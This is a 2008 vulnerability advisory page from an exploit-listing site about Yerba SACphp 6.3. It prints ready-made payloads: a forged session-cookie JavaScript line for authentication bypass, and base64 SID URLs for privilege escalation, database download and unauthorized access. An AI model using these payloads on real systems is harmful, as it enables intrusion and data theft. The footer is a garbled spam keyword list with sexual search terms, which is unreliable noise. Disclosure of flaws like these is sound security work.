about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive Talk

exploits , vulnerabilities , articles , Yerba SACphp 6.3 Multliple Remote Vulnerabilities


Title Yerba SACphp 6.3 Multliple Remote Vulnerabilities
Published 2008-10-07-12:00AM
Updated 2008-10-07-08:58PM
Class Unknown
CVE  
Remote  Yes
Local  No
Credit  StAkeR
Vulnerable  Yerba SACphp 6.3
Not Vulnerable  
Code  Attackers can use a browser to exploit this issue.The following example URIs and JavaScript are available: Authentication bypass:
javascript:document.cookie="galleta[sesion]=MToxOkFkbWluaXN0cmFkb3IgZGVsIFNpc3RlbWE6Jw=="Privilege-escalation
http://www.example.com/index.php?SID=[path (base64 encoded)]Database Download
http://www.example.com/index.php?SID=Jm9kbGFwc2VyPXhmJmFtZXRzaXM9cG9tJm5pbWRBQkR5PWRvbQ==Unauthorized access:
http://www.example.com/index.php?SID=JnJhZ2VyZ2E9eGYmYW1ldHNpcz1wb20mc29pcmF1c1V5PWRvbQ==
TXT  t3xt 1t!


Advertising

Copyright 2007, SecurityDot
Mon, 07 Dec 2009 17:55:59 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
3ba.net.ru crack data ip board 2 AS400 www.44kaix Hot pictur blog.sina. Www.comsex beb freearbics joomla com Nayandhra www.gupiao www.kuwocn kushboosex Nancy Ho SSH Server youxil.com trade.jxsm news for C Waptrick d britni sex t22t Sexvedio Nametha se ad aware 2 www.xnxx.c Www.indian www.94xx.c squirel ma Naked bipa WWW.xxxgir meta sploi Naked srid uploading Home sex PUSSY LICK Sex Pictur sexy aunty http://www Sextips.co Tamil actr Www.sex.co actionxxxt Naked phot ms0635 FREF WWW.A www.phoner Anthony cocks